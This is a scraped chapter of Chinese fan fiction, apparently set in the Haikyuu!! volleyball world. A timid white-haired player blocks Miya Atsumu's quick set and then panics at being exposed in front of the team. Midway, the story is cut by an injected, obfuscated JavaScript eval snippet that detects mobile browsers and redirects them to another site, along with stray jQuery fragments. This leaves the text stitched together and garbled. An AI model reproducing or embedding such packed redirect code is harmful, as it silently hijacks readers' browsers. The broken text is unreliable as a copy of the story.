“白夜——!!”
这声音太突兀,太具有指向性,像一记重锤狠狠砸在白夜绫的头上。
“!!!”
白夜绫浑身剧震,猛地抬起了头!
一直严密遮蔽视线的雪白额发因这剧烈的动作向上扬起,那双盛满空茫的紫色眼睛在空气中暴露,正正地对上了宫侑那双骤然亮起、带着某种得逞和逼迫意味的琥珀色眼睛。
抬头的瞬间,世界仿佛停滞。
白夜绫的视线瞬间捕捉到了宫侑指尖拨球的方向——那是一个极其隐蔽的、直塞向三号位与四号位之间的“空门”快球,球速极快,路线刁钻。
目标是——刚刚轮转到前排、并非专职副攻的另一位队友!
-
如果是平时的白夜绫,在如此多目光聚焦和高度紧张下,可能根本反应不过来,或者即使反应过来也不敢动。
但此刻,他被宫侑那一声大吼惊得彻底脱离理智,大脑在极度的惊吓和应激中,反而进入了某种空白的、本能驱动的状态。
身体仿佛生出了自我意识,赶在大脑恢复之前下达指令,他的世界仅剩那个蓝黄色的球影。
几乎在宫侑喊出他名字、看清宫侑手尖方向的下一秒,白夜绫的双腿已经爆发出惊人的力量——
不是之前那种拖沓的移动,而是近乎本能的、横向侧滑的迅猛踏步!
他的视线死死锁定了那道蓝黄的轨迹,大脑飞速运转计算着球速、角度和起跳点。
一步!两步!蹬地——!
白夜丝毫无愧于他的跳跃天赋,修长的身体如同拉满的弓弦骤然释放,猛地拔地而起,在网前后发先至!
雪白的卷发因这突如其来的爆发力而向下拉直,在灯光下划出一道耀眼的弧线,又因达到最高点而如柳絮般散落。
这一次,他没有低头,那双紫色的瞳孔在极度专注中紧缩,里面倒映着越来越近的排球,所有恐惧都被一种纯粹的、身体记忆深处的拦截渴望暂时覆盖。
他的起跳时机精准得可怕,正正封堵在球路飞向场地的路径上。
伸展的手臂修长而充满张力,手指张开,形成一道瞬间变得密不透风的屏障。
-
对面,负责这个快球的尾白阿兰显然没料到这个一直低着头的临时工能反应过来,更没料到他能跳得如此之高、如此之快,被恍若鬼影的闪现吓了一跳,挥臂扣球的动作出现微不可察的迟疑。
——就是这里!
“砰——!!!”
“嘭!”
一声异常清脆响亮的撞击声!
白夜绫的手掌结结实实地拦在了排球上!不是擦过,不是碰飞,是正面的、强势的、几乎能感受到球皮剧烈形变的,封杀!
球以比来时更快的速度,沿着一条笔直的斜线,重重砸回对面场地的地板上,发出“咚”的一声闷响,然后无力地弹起、滚远。
-
这方球场仿佛被按下了静音键。只剩下排球落地后轻微的弹跳声,和远处其他场地传来的声响。
所有目光,这一次不再是好奇或评估,而是带着惊愕和难以置信,齐刷刷地聚焦在那个还保持着拦网落地姿势,僵在场地中的白色身影上。
白夜绫自己也愣住了。
他自空中落地,脚踩到地面上,还维持着手臂上举的姿势,紫色的眼睛睁得极大,里面充满了茫然的震惊,还没明白刚才发生了什么。
额前散乱的白发垂落,遮住了一部分视线。但他能清晰地看到,对面那个被他拦死的球,正慢悠悠地滚向场边。
我……拦下了?在那种情况下,把宫侑传的、尾白前辈配合的那种速度的快球……拦死了?
白夜绫咽了口唾沫,缓缓转动僵硬的脖子,看向网对面。
-
宫侑站在原地,脸上的烦躁和不满消失不见,取而代之的是微微眯起的眼中燃烧着近乎灼烫的专注。
他宛若流动蜜糖的眼睛死死盯着白夜绫,里面翻涌着震惊、满足、以及一种果然如此的强烈光芒。
宫侑微微张着嘴,似乎想说什么,但最终只是舔了舔有些干燥的嘴唇,然后,缓缓地、清晰地,对着还处于呆滞状态的白夜绫,露出了一个更大的、狐狸般的,满载着兴奋和挑战的笑容。
“这不是,很会跳嘛。”
-
而白夜绫,在对上宫侑这个笑容的瞬间,才从短暂的大脑空白中彻底回过神来。
随之而来的不是喜悦,而是排山倒海的、比之前强烈十倍的恐慌和羞耻——
完了!全完了!他不仅在这么多人面前被看见了眼睛,把那种球拦死,还彻底违背了之前展示出来的实力——
这和他一直努力维持的“平平无奇”形象相差了十万八千里啊!!
白夜绫的力气瞬间消失,浑身战栗,腿软得几乎撑不住身体。
他脸色惨白,手忙脚乱地去拢那些因剧烈动作而散开的额发,试图重新编织那脆弱的屏障,可指尖都在发颤。
过往的阴影让他禁不住去思考最坏的可能性。
他会因此,消失在排球社吗。
-<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171003|196783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
那一幕拦网太清晰、太具冲击力,像烧红的烙铁,烫在了在场每一个人的视野里。
所有人都像是被按了暂停键,目光还黏在那个僵立在场中、正手忙脚乱试图把头发重新糊回脸上的白发少年身上。
黑须监督推了推眼镜,镜片后的目光深沉,从微微发抖的白夜绫身上扫过,瞄了眼对面一脸我很满意的宫侑,最后落在地上那个已经停止滚动的排球上。
他没有对刚才那个惊人的拦网做出任何即时评价,脸上甚至没有流露出明显的惊讶。他只是沉默了几秒钟,这短暂的沉默却让白夜绫感觉像过了一个世纪。
然后,黑须监督平静的声音打破了寂静,内容却让白夜绫眼前一黑:
“继续练习。”
四个字,平稳无波,却像最后的判决。
没有干得不错,没有有待观察,也没有你先下去休息。只是“继续练习”。
就好像刚才那完全不符合球员纸面实力的惊天一拦,和之前任何一个普通的好球坏球一样,都是训练中可能发生的、需要继续推进流程的环节。
-
但对白夜绫而言,这比任何直接的赞扬或否定都更可怖。
——这意味着他被留在了场上。
留在这个灯光刺目无处遁形的炼狱中央,他的伪装已彻底崩解,而审判尚未降临——
或者说,审判本身,就是这永无止境的“继续”。
牙齿陷进下唇软肉,铁锈味在舌尖悄然弥漫。
疼痛是真实的,却压不住心底某种更尖锐的崩裂声。
凭什么。
凭什么他必须站在这里,承受这一切。凭什么他要被那道金色的视线灼烧,被无数双眼睛剥离,被理所当然的“继续”钉在耻辱柱上。
心底那处被恐惧与孤独层层包裹、深埋多年的暗痂,早在宫侑那声大吼中被蛮横地凿开一道裂口。
而现在,“继续”这两个字,像一双沾满冰渣的、毫不留情的手,攥住那道新鲜的血口,狠狠向两侧撕扯——
『……别看我』
凭什么,他要在场上忍受这样的压迫。
模糊的低语,混杂着球鞋摩擦地板的吱呀声,其他球场球砸在墙上的闷响,还有白夜绫压抑到极致的、唯恐惊扰什么存在的喘息。
他曾以为逃离那个地方,剪断与过往的所有纠葛,就能把那一切连同那个懦弱畏缩的自己一同埋葬。
可现在,历史正以另一种方式重演。
——
他依旧是目光的焦点,依旧无处可逃。